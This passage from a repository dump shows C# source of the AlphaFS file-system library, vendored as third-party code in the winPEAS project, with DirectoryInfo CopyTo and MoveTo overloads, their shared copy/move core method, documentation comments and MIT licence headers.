cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, false, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, false, copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, <see cref=\"CopyOptions\"/> can be specified\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>\n      ///   <para>Returns a new directory, or an overwrite of an existing directory if <paramref name=\"copyOptions\"/> is not <see cref=\"CopyOptions.FailIfExists\"/>.</para>\n      ///   <para>If the directory exists and <paramref name=\"copyOptions\"/> contains <see cref=\"CopyOptions.FailIfExists\"/>, an <see cref=\"IOException\"/> is thrown.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.CopyToMoveToCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>Copy/move a Non-/Transacted file or directory including its children to a new location,\n      /// <see cref=\"CopyOptions\"/> or <see cref=\"MoveOptions\"/> can be specified, and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy or Move action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file, unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.ReplaceExisting\"/>.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an IOException.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the file is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"longFullPath\">Returns the retrieved long full path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      private CopyMoveResult CopyToMoveToCore(string destinationPath, bool preserveDates, CopyOptions? copyOptions, MoveOptions? moveOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, out string longFullPath, PathFormat pathFormat)\n      {\n         longFullPath = Path.GetExtendedLengthPathCore(Transaction, destinationPath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         return Directory.CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = Transaction,\n            SourcePathLp = LongFullName,\n            SourcePath = LongFullName,\n            DestinationPathLp = longFullPath,\n            DestinationPath = longFullPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            DirectoryEnumerationFilters = filters,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = PathFormat.LongFullPath\n         });\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.MoveTo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path.</summary>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing directory by default.</para>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      [SecurityCritical]\n      public void MoveTo(string destinationPath)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, null, MoveOptions.None, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path.</summary>\n      /// <remarks>\n      ///   <para>Use this method to prevent overwriting of an existing directory by default.</para>\n      ///   <para>This method does not work across disk volumes.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A new <see cref=\"DirectoryInfo\"/> instance if the directory was completely moved.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo MoveTo(string destinationPath, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, null, MoveOptions.None, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A new <see cref=\"DirectoryInfo\"/> instance if the directory was completely moved.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>, or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public DirectoryInfo MoveTo(string destinationPath, MoveOptions moveOptions)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, null, moveOptions, null, null, null, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return null != destinationPathLp ? new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null;\n      }\n\n\n      /// <summary>[AlphaFS] Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path, <see cref=\"MoveOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A new <see cref=\"DirectoryInfo\"/> instance if the directory was completely moved.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>, or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public DirectoryInfo MoveTo(string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         string destinationPathLp;\n\n         CopyToMoveToCore(destinationPath, false, null, moveOptions, null, null, null, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return null != destinationPathLp ? new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null;\n      }\n\n\n      /// <summary>[AlphaFS] Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path, <see cref=\"MoveOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>, or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         // Reject DelayUntilReboot.\n         if ((moveOptions & MoveOptions.DelayUntilReboot) != 0)\n            throw new ArgumentException(\"The DelayUntilReboot flag is invalid for this method.\", \"moveOptions\");\n\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, false, null, moveOptions, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n\n\n      /// <summary>[AlphaFS] Moves a <see cref=\"DirectoryInfo\"/> instance and its contents to a new path, <see cref=\"MoveOptions\"/> can be specified,\n      ///   <para>and the possibility of notifying the application of its progress through a callback 